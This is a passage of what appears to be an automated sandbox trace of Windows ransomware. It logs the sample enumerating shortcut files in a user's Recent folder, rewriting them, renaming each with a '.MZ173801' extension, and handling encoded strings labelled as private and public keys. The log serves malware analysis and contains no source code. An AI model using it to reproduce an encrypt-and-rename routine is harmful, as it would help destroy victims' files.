lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.413] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3c9 [0147.413] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.413] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3c9, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3c9, lpOverlapped=0x0) returned 1 [0147.414] CloseHandle (hObject=0x280) returned 1 [0147.414] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BjNUPBepTMMyu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bjnupbeptmmyu.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.415] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3c9, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3c9, lpOverlapped=0x0) returned 1 [0147.416] CloseHandle (hObject=0x280) returned 1 [0147.417] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BjNUPBepTMMyu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bjnupbeptmmyu.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BjNUPBepTMMyu.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bjnupbeptmmyu.lnk.mz173801")) returned 1 [0147.417] GetCurrentThreadId () returned 0xab4 [0147.417] GetCurrentThreadId () returned 0xab4 [0147.417] GetCurrentThreadId () returned 0xab4 [0147.417] GetCurrentThreadId () returned 0xab4 [0147.417] GetCurrentThreadId () returned 0xab4 [0147.417] GetCurrentThreadId () returned 0xab4 [0147.417] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54ab1086, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54ab1086, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x54ab1086, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Bm_0O.lnk", cAlternateFileName="")) returned 1 [0147.417] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.417] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.417] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bm_0O.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bm_0o.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54ab1086, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54ab1086, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x54ab1086, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x47f)) returned 1 [0147.417] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bm_0O.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bm_0o.lnk")) returned 0x20 [0147.418] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bm_0O.lnk", dwFileAttributes=0x80) returned 1 [0147.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.420] GetCurrentThreadId () returned 0xab4 [0147.420] GetCurrentThreadId () returned 0xab4 [0147.420] GetCurrentThreadId () returned 0xab4 [0147.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.421] GetCurrentThreadId () returned 0xab4 [0147.421] GetCurrentThreadId () returned 0xab4 [0147.421] GetCurrentThreadId () returned 0xab4 [0147.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bm_0O.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bm_0o.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.421] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.421] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.421] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x47f [0147.421] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.421] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x47f, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x47f, lpOverlapped=0x0) returned 1 [0147.422] CloseHandle (hObject=0x280) returned 1 [0147.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bm_0O.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bm_0o.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.423] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x47f, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x47f, lpOverlapped=0x0) returned 1 [0147.424] CloseHandle (hObject=0x280) returned 1 [0147.425] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bm_0O.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bm_0o.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bm_0O.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bm_0o.lnk.mz173801")) returned 1 [0147.425] GetCurrentThreadId () returned 0xab4 [0147.425] GetCurrentThreadId () returned 0xab4 [0147.425] GetCurrentThreadId () returned 0xab4 [0147.425] GetCurrentThreadId () returned 0xab4 [0147.425] GetCurrentThreadId () returned 0xab4 [0147.425] GetCurrentThreadId () returned 0xab4 [0147.425] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a76c437, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4a76c437, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4a76c437, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BNpcCajc.lnk", cAlternateFileName="")) returned 1 [0147.425] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.425] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.425] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BNpcCajc.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bnpccajc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a76c437, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4a76c437, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4a76c437, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x54a)) returned 1 [0147.425] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BNpcCajc.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bnpccajc.lnk")) returned 0x20 [0147.426] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BNpcCajc.lnk", dwFileAttributes=0x80) returned 1 [0147.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 